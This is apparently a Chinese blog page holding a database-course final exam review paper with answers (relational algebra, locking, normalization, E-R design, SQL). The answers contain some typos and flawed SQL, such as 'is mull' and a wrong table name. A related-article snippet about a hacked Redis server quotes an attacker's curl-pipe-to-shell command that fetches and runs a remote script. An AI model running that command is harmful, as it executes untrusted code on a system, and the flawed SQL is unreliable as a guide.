当前位置: 首页 > news >正文

数据库原理与应用期末复习试卷2

数据库原理技术与应用

一.单项选择题

  1. 设有属性A,B,C,D,以下表示中不是关系的是( C)

​ A、R(A) B、R(A, B, C, D) C、R(AxBxCxD) D、R(A,B)

  1. 在SQL语言中的视图VIEW是数据库的(A)。

​ A、外模式 B、模式 c、内模式 D、存储模式

  1. 事务了在修改数据R之前必须先对其加X锁,直到事务结束才释放,这是(A)

    A、一级封锁协议 B、二级封锁协议 C、三级封锁协议 D.零级封锁协议

  2. o p1 (o p2 ®)等价于( B)。

​ A、o p1 v p2 ® B、o p1 ^ p2 ® C、op1® D、op2®

  1. 在关系数据库系统中,为了简化用户的查询操作,而又不增加数据的存储空间,常用的方法是创建©。

​ A、另一个表 B、游标 C、视图 D、索引

  1. 有关系SC(S_ID,C_ID,AGE,SCORE),查找年龄大于22岁的学生的学号和分数,正确的关系代数表达式是( D)。

​ i. Πs_id,score ( o age>22(SC) )

​ ii. Π age>22 (Πs_id,score(SC) )

​ iii.Π s_id,score (o age>22 (Πs_id,score,age(SC)))

​ A、i和ii正确 B、只有ii正确 C、只有 i正确 D、i和iii正

  1. 两个原来不包含空值的关系进行左外连接运算,结果中(B)会出现空值?

    A、原来左关系的属性 B、原来右关系的属性C、左右关系的属性都会 D、左右关系的属性都不会

  2. 规定关系的所有主属性都不能取空值,是用来实现哪一类完整性约束(A)

    A、实体完整性 B、域完整性 C、参照完整性 D、用户自定义的完整性

  3. 学生关系(学号,姓名,性别,年龄,系号,系名)中,“系名”对主关键字“学号”的函数依赖是©。

​ A、完全函数依赖 B、部分函数依赖 C、传递函数依赖 D、平凡函数依赖

  1. B表字段a类型int中有100条记录,值分别为1至100。如下语句

​ SELECT a FROM B

​ WHERE a BETWEEN 1 AND 50 OR (a IN (25,70,95) AND a BETWEEN 25 AND

​ 75)

​ 则如下哪个值在这个8ql语句返回的结果集中(A)

​ A、30 B、51 C、75 D、95

  1. 事务的一致性是指(D).

​ A、事务中包括的所有操作要么都做,要么都不做

​ B、事务一旦提交,对数据库的改变是永久的

​ C、一个事务内部的操作及使用的数据对并发的其他事务是隔高的

​ D、事务必须是使数据库从一个一致性状态变到另一个一致性状态

  1. 数据库系统由(D)组成。

​ A、数据库及其必备的硬件系统

​ B、数据库及相应的硬件、软件系统

​ C、数据库及相应的软件系统

​ D、数据库及相应的硬件、软件系统和各类相关人员

  1. 下述哪一条是并发控制的主要方法(B)。

​ A、授权 B、封锁 C、日志 D、索引

14 .在关系R中,U是主码,X是一个属性集,如果X→U,那么X是一个(B)

​ A、候选码 B、超码 C、主码 D、外部码

  1. 员工表staff表结构如下:

​ staffNO varchar2(10),

​ Email varchar2(50)

​ 哪一个SQL语句查询出没有E_mail地址的员工号 ©

​ A.select staffno from Staff where Emai = NULL

​ B. select staffno from Staff where Email NULL

​ C. select staffno from Staff where Email is mull

​ D.select staffno from Staff where Email is not mull

  1. 不属于视图的优点是(A)

​ A、视图能够加快查询的速度 B、视图使用户能以多种角度看待同一数据

​ C、视图对重构数据库提供了一定程度的逻辑独立性

​ D、视图能够对机密数据提供安全保护

  1. 关系数据库规范化是为了解决关系数据库中( A)的问题而引入的。

​ A、插入、删除异常和数据冗余 B、提高查询速度

​ C、减少数据操作的复杂性 D、保证数据的安全性和完整性

  1. 已知表T1中有2行数据 ,T2中有3行数据,执行SQL语句“select a,* from T1 a,T2 b”后,返回的行数为(D)。

​ A、2行 B.3行 C、5行 D、6行

  1. 数据库恢复的基础是利用转储的冗余数据,这些转储的冗余数据包括(C)

​ A、数据字典,应用程序,审计档案,数据库后备副本

​ B.数据字典,应用程序,审计档案,日志文件

​ C、日志文件,数据库后备副本

​ D. 数据字典,应用程序,数据库后备副本

  1. 关于索引(index)的说法哪些是错误?(A)

​ A、创建索引能提高数据插入的性能

​ B、索引应该根据具体的检索需求来创建,在选择性好的列上创建索引

​ C、索引并非越多越好

​ D、建立富引可使检索操作更迅速


二.判断题

  1. 超码一定是候选码。(X)

  2. 遵守两段锁协议的调度一定是可串行化调度。(√)

  3. 在关系数据库中,用主码来保证参照完整性。(X)

  4. 单码的1NF一定是 2NF。(√)

  5. 自然连接要求相等的分量必须有共同的属性名,等值连接则不要求。(√)

  6. 遵守三级封锁协议不一定遵守两段锁协议。(×)

  7. 基本的关系运算是:并、交、积、选择、投影。(×)

  8. UPDATE语句是用来修改表结构的,ALTER 语句是用来修改表中数据的。(X)


三.填空题

  1. 并发操作带来的数据不一致性包括三类:(丢失修改)、(读“脏”数据 )和(不可重复读)

  2. 一般地,当删除被参照关系的某个元组,而参照关系存在若干元组,其外码值与被参照关系删除元组的主码值相同,这时可有三种不同的策略:(级联删除)、受限删除、置空值删除。

  3. 存在两个结构相同的数据库表T1(col1,co12,co13)、T2(col1,co12,col3).写出相应SQL语句将所有T1数据导入到T2表(insert into T2 select * from T1

  4. 在数据库的三级模式体系结构中,模式与内模式之间的映象(模式/内模式),实现了数据库的(物理)独立性。

  5. 在关系A(S, SN, D)和B(D,CN,NM)中,A的主健是S,B的主键是D,则D在A中称为(外码).

  6. 设有关系模式R(U,F),其中U=(A,B,C,D,E); F=(AB→C,B→D,C→E,EC→B,AC一B):那么(AB)~为(ABCDE),

  7. (日志)是用来记录事务对数据库的更新操作的文件。

  8. 在SQL语言中,为了数据库的安全性,设置了对数据的存取进行控制的语句,对用户授权使用(GRANT)语句,收回所授的权限使用(REVOKE)语句。如果想让授权的用户,也可以将这些权限转授给其他用户,需要选项( WITH GRANT OPTION)。

  9. 系统故障可能会造成数据库处于不一致状态:一是未完成事务对数据库更新可能已写入数据库;二是已提交事务对数据库的更新可能还留在缓冲没来得及写入数据库。因此恢复操作就是要(撤销UNDO)故障发生时未完


四.分析与应用题

  1. R(U,F) U=(A,B,C,D ) F= (D->B,B->D, AC->D)

​ (1)分析关系R的候选码为?

​ (2)分析是否属于2NF范式?关系是否属于3NF范式?需分析

​ (3)如果关系不是3NF,将其规范到3NF

  1. 某社商业集团数据库中有3个实体集:

​ “商店”实体集,属性有商店编号、商店名、地址:

​ “商品”实体集,属性有商品号、商品名,规格、单价:

​ “职工”实体集,属性有职工编号、姓名、性别、业绩。

​ 商店与商品之间存在“销售”联系,每个商店可销售多种商品,每中商品也可以放在多个商店销售,每个商店销 售的一种商品有月销售量:商店与职工之网存在“聘用”联系,每个商店有许多职工,每个职工只能在一个商店 工作

​ (1)设计满是上述要求的E-R图。(4分)

​ (2)将你的E-R图转化为关系模型,并指出关系的主键和外键。(4分)

​ 商店(商店编号,商店名,地址) 商店编号为主码

​ 职工(职工编号,姓名,性别,业绩,商店编号,聘期,工资)职工编号为主码,商店编号为外码

​ 商品(商品号,商品名,规格,单价)商品号为主码

​ 销售(商店编号,商品号,月销售量)商店编号+商品编号为主码


五.请用SQL语句完成以下操作

现有关系数据库如下:

Student(Sno,Sname,Sex, Age,City, Class) 学生关系,以上属性含义为;学号,姓名,性别,年龄,籍贯,所在班级

Course(Cno,Cname, Grade, Tno)课程关系,以上性含义为:课程程名,开设年级,任课教师号

Teacher(Tno,Tname, Age, City)教师关系,以上属性含义为:教师号,教师名,年龄,籍贯

SC(Sno, Cno, Score)选修关系,以上属性含义为:学号,课程号,成绩

  1. 试写出学生关系Student创建的SQL语句,在创建时给学生关系Student添加约束;学号为主键;性别的默认值为“男”;学生的年龄必须大于13岁

    create table Student(

    Sno char(10) primary key,

    Sname char(10),

    Sex char(2) default ‘男’

    Age int check(age>13),

    City char(20),

    Class char(20)

  2. 删除Course的某些记录,条件为“李梅”老师负责授课的课程。

    delete from Course where Tno = (select Tno from T where Tname = ‘李梅’)

  3. 修改SC的某些成绩,条件为课程名为“数据库”的所有成绩增加5分。

    update SC set Score = Sscore+5 where cno = (select cno from Course where Cname=‘数据库’)

  4. 查询哪些学生的考试平均成绩高于全体学生的平均成绩,列出这些学生的学号、姓名、平均成绩。

    select student.sno,sname,avg(score) from student join sc on student.sno=sc.sno

    group by student.sno,sname

    having avg(score)>(select avg (score) from sc)

  5. 哪些学生的籍贯与教师李梅的籍贯相同。列出这些学生的学号、姓名、籍贯。

    select student.sno,sname,city from student where city = (select city from t where tname = ‘李梅’)


相关文章:

数据库原理与应用期末复习试卷2

数据库原理技术与应用 一.单项选择题 设有属性A,B,C,D,以下表示中不是关系的是( C) ​ A、R(A) B、R(A, B, C, D) C、R(AxBxCxD) D、R(A,B) 在SQL语言中的视图VIEW是数据库的(A)…...

操作系统丨单元测试

文章目录 单元测试选择题填空题单元测试 选择题 【单选题】可以实现虚拟存储器的方案是(D)。 A. 固定分区方式 B. 可变分区方式 C. 纯分页方式 D. 请求页式 【单选题】文件系统中文件存储空间的分配是以(D)为基本单位进行的。 A. 字 B. 字节 C. 文件 D. 块 【单选题】哪种…...

tcp/ip协议2实现的插图,数据结构6 (24 - 章)

(142) 142 二四1 TCP传输控制协议 tcpstat统计量与tcp 函数调用链 (143) 143 二四2 TCP传输控制协议 宏定义与常量值–上 (144) 144 二四3 TCP传输控制协议 宏定义与常量值–下 (145) 145 二四4 TCP传输控制协议 结构tcphdr,tcpiphdr (146) 146 二四5 TCP传输控制协议 结构 tcp…...

Linux链接的创建,删除,修改

目录 1. 概述2. 硬链接2.1 创建硬链接2.2 删除硬链接 3. 软链接3.1 创建软链接3.2 删除软链接 5. 常用的终端工具下载 计算机基础–Linux详解 1. 概述 在Linux系统中,链接是一种文件系统中的重要概念。链接允许用户在文件系统中创建指向另一个文件的引用&#xff0c…...

HarmoryOS Ability页面的生命周期

接入穿山甲SDK app示例: android 数独小游戏 经典数独休闲益智 广告接入示例: Android 个人开发者如何接入广告SDK,实现app流量变现 Ability页面的生命周期 学习前端,第一步最重要的是要理解,页面启动和不同场景下的生命周期的…...

【Flink 从入门到成神系列 一】算子

👏作者简介:大家好,我是爱敲代码的小黄,阿里巴巴淘天Java开发工程师,CSDN博客专家📕系列专栏:Spring源码、Netty源码、Kafka源码、JUC源码、dubbo源码系列🔥如果感觉博主的文章还不错…...

无人机自主寻优降落在移动车辆

针对无人机寻找并降落在移动车辆上的问题,一套可能的研究总体方案: 问题定义与建模: 确定研究的具体范围和目标,包括无人机的初始条件、最大飞行距离、允许的最大追踪误差等。建立马尔科夫决策过程模型(MDP&#xff09…...

科技感十足界面模板

科技感界面 在强调简洁的科技类产品相关设计中,背景多数分为:颜色或写实图片两种。 颜色很好理解,大多以深色底为主。强调一种神秘感和沉稳感,同时可以和浅色的文字内容形成很好的对比。 而图片背景的使用,就要求其…...

pytest装饰器 @pytest.mark.parametrize 使用方法

pytest.mark.parametrize 有三种传参方法,分别是: 1.列表传参:将参数值作为列表传递给装饰器。 pytest.mark.parametrize("param", [value1, value2, ..., valuen])2.元组传参:将参数值作为元组传递给装饰器。 pytes…...

redis被攻击

之前由于redis没有修改端口,密码也比较简单,也没有绑定ip 结果被攻击了 1 redis里被写入string类型的脚本,比如:Back1 Back2 Back3 Back4 ,内容curl -fsSL http://d.powerofwish.com/pm.sh | sh的形式,如下…...

二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明

处理二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明 sitemapLocation 指明 sitemap.json 的位置;默认为 ‘sitemap.json’ 即在 app.json 同级目录下名字的 sitemap.json 文件 找到app.json这个文件 把这段代码加进去&…...

【AI视野·今日Sound 声学论文速览 第四十期】Wed, 3 Jan 2024

AI视野今日CS.Sound 声学论文速览 Wed, 3 Jan 2024 Totally 4 papers 👉上期速览✈更多精彩请移步主页 Daily Sound Papers Auffusion: Leveraging the Power of Diffusion and Large Language Models for Text-to-Audio Generation Authors Jinlong Xue, Yayue De…...

Unity组件开发--升降梯

我开发的升降梯由三个部分组成,反正适用于我的需求了,其他人想复用到自己的项目的话,不一定。写的也不是很好,感觉搞的有点复杂啦。完全可以在优化一下,项目赶工期,就先这样吧。能用就行,其他的…...

插槽slot涉及到的样式污染问题

1. 前言 本次我们主要结合一些案例研究一下vue的插槽中样式污染问题。在这篇文章中&#xff0c;我们主要关注以下两点: 父组件的样式是否会影响子组件的样式&#xff1f;子组件的样式是否会影响父组件定义的插槽部分的样式&#xff1f; 2. 准备代码 2.1 父组件代码 <te…...

OpenCV-Python(25):Hough直线变换

目标 理解霍夫变换的概念学习如何在一张图片中检测直线学习函数cv2.HoughLines()和cv2.HoughLinesP() 原理 霍夫变换在检测各种形状的的技术中非常流行。如果你要检测的形状可以用数学表达式写出来&#xff0c;你就可以是使用霍夫变换检测它。即使检测的形状存在一点破坏或者…...

python接口自动化(七)--状态码详解对照表(详解)

1.简介 我们为啥要了解状态码&#xff0c;从它的作用&#xff0c;就不言而喻了。如果不了解&#xff0c;我们就会像个无头苍蝇&#xff0c;横冲直撞。遇到问题也不知道从何处入手&#xff0c;就是想找别人帮忙&#xff0c;也不知道是找前端还是后端的工程师。 状态码的作用是&a…...

Android 实现动态申请各项权限

在Android应用中&#xff0c;如果需要使用一些敏感的权限&#xff08;例如相机、位置等&#xff09;&#xff0c;需要经过用户的授权才能访问。在Android 6.0&#xff08;API级别23&#xff09;及以上的版本中&#xff0c;引入了动态权限申请机制。以下是在Android应用中实现动…...

【leetcode】力扣热门之合并两个有序列表【简单难度】

题目描述 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 用例 输入&#xff1a;l1 [1,2,4], l2 [1,3,4] 输出&#xff1a;[1,1,2,3,4,4] 输入&#xff1a;l1 [], l2 [] 输出&#xff1a;[] 输入&#xff1a;l1 []…...

安全与认证Week3 Tutorial+历年题补充

目录 1) 什么是重放攻击? 2)什么是Kerberos系统?它提供什么安全服务? 3)服务器验证客户端身份的一种简单方法是要求提供密码。在Kerberos中不使用这种身份验证&#xff0c;为什么?Kerberos如何对服务器和客户机进行身份验证? 4) Kerberos的四个要求是什么?Kerberos系…...

【Kotlin】协程

Kotlin协程 背景定义实践GlobalScope.launchrunBlocking业务实践 背景 在项目实践过程中&#xff0c;笔者发现很多异步或者耗时的操作&#xff0c;都使用了Kotlin中的协程&#xff0c;所以特地研究了一番。 定义 关于协程&#xff08;Coroutine&#xff09;&#xff0c;其实…...

Scikit-Learn线性回归(五)

Scikit-Learn线性回归五:岭回归与Lasso回归 1、误差与模型复杂度2、范数与正则化2.1、范数2.2、正则化3、Scikit-Learn Ridge回归(岭回归)4、Scikit-Learn Lasso回归1、误差与模型复杂度 在第二篇文章 Scikit-Learn线性回归(二) 中,我们已经给出了过拟合与模型泛化的概念并…...

React(2): 使用 html2canvas 生成图片

使用 html2canvas 生成图片 需求 将所需的内容生成图片div 中包括 svg 等 前置准备 "react": "^18.2.0","react-dom": "^18.2.0","html2canvas": "^1.4.1",实现 <div ref{payRef}></div>const pa…...

CAN物理层协议介绍

目录 ​编辑 1. CAN协议简介 2. CAN物理层 3. 通讯节点 4. 差分信号 5. CAN协议中的差分信号 1. CAN协议简介 CAN是控制器局域网络(Controller Area Network)的简称,它是由研发和生产汽车电子产品著称的德国BOSCH公司开发的,并最终成为国际标准(ISO11519) &#xff0…...

华为OD机试真题-计算面积-2023年OD统一考试(C卷)

题目描述: 绘图机器的绘图笔初始位置在原点(0, 0),机器启动后其绘图笔按下面规则绘制直线: 1)尝试沿着横向坐标轴正向绘制直线,直到给定的终点值E。 2)期间可通过指令在纵坐标轴方向进行偏移,并同时绘制直线,偏移后按规则1 绘制直线;指令的格式为X offsetY,表示在横…...

设计模式之策略模式【行为型模式】

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档> 学习的最大理由是想摆脱平庸&#xff0c;早一天就多一份人生的精彩&#xff1b;迟一天就多一天平庸的困扰。各位小伙伴&#xff0c;如果您&#xff1a; 想系统/深入学习某…...

git使用(完整流程)

1. 新建仓库 1.右击 git bash 后 输入 git init (仓库为:当前目录) git init name (仓库为:name文件夹) git clone https://github.com/Winnie996/calculate.git //https2.工作区域 工作目录 3. 添加 提交 git add . //工作区添加至暂存区 git commit -m "注释内容&q…...

九、HTML头部<head>

一、HTML头部<head> 1、<title>- 定义了HTML文档的标题 使用 <title> 标签定义HTML文档的标题 <!DOCTYPE html> <html><head><meta charset"utf-8"><title>我的 HTML 的第一页</title> </head><b…...

机器学习期末复习

机器学习 选择题名词解释&#xff1a;简答题计算题一、线性回归二、决策树三、贝叶斯 选择题 机器学习利用经验 &#xff0c;须对以下&#xff08;&#xff09;进行分析 A 天气 B 数据 C 生活 D 语言 归纳偏好值指机器学习算法在学习的过程中&#xff0c;对以下&#xff08;&a…...

python-日志模块以及实际使用设计

python-日志模块以及实际使用设计 1. 基本组成 日志模块四个组成部分&#xff1a; 日志对象&#xff1a;产生日志信息日志处理器&#xff1a;将日志信息输出到指定地方&#xff0c;例如终端、文件。格式器&#xff1a;在日志处理器输出之前&#xff0c;对信息进行各方面的美化…...

googlecode.log4jdbc慢sql日志,格式化sql

前言 无论使用原生JDBC、mybatis还是hibernate&#xff0c;使用log4j等日志框架可以看到生成的SQL&#xff0c;但是占位符和参数总是分开打印的&#xff0c;不便于分析&#xff0c;显示如下的效果: googlecode Log4jdbc 是一个开源 SQL 日志组件&#xff0c;它使用代理模式实…...

住房和城乡建设部干部学院网站/搜外网

Rayeager PX2开发板具有非常强大的多媒体处理能力&#xff0c;如果需要调用硬件加速针对普通媒体文件/码流进行解码&#xff0c;只需按照安卓标准调用多媒体相关接口即可。针对一些行业用户的特殊需求&#xff0c;Rayeager PX2实际上也开放了接口可以对H.264等裸码流进行解码。…...

广东网站备案时间/青岛seo结算

注意&#xff1a;分析之前先介绍一下卷积之后图像的尺寸变化&#xff1a; 先定义几个参数 输入图片大小 WW Filter大小 FF 步长 S padding的像素数 P 于是我们可以得出 N (W − F 2P )/S1 输出图片大小为 NN AlexNet的篇文章《ImageNet Classification with Deep Convoluti…...

网站运营成本明细/百度站长之家

实现一个记事本: 这里实现的是记事本的打开与保存功能。 更多Java学习资源尽在B站账号&#xff1a;清风学Java https://space.bilibili.com/591988762 只做Java分享&#xff0c;欢迎个位小伙伴前来观看&#xff0c;更多优质学习资源持续更新中… 知识提示: JTextArea中&#…...

做后期哪个网站素材好/域名污染查询网站

Linux系统分析与高级编程技术 内容简介:本书介绍Linux环境下的编程方法&#xff0c;内容包括Linux系统命令、Shell脚本、编程语言、系统内核、安全体系、X Window等&#xff0c;内容丰富、论述全面&#xff0c;涵盖了Linux系统有方方面面。编辑推荐本书介绍Linux环境下的编程方…...

甘肃省引洮工程建设管理局官方网站/哪家网站推广好

开发过程中涉及到音频转码 &#xff08;非专业处理音频&#xff09;&#xff0c;有时需要试听一下录音是否正常&#xff0c;但是找不到工具&#xff0c;比如我需要试听一个speex文件内容是否正常&#xff0c;在网上找不到 直接播放speex 格式的压缩音频&#xff0c;我尝试 先将…...

发布悬赏任务的推广平台/北京seo服务商

Java程序员&#xff0c;eclipse或者idea是常备的开发工具。idea又是近几年非常火爆的开发新宠了(低配电脑除外)&#xff0c;推荐几个提升效率的工具&#xff0c;并收集几个比较好的教程放在这里。 JRebel for IntelliJ 安装参考: https://blog.csdn.net/weixin_42831477/art…...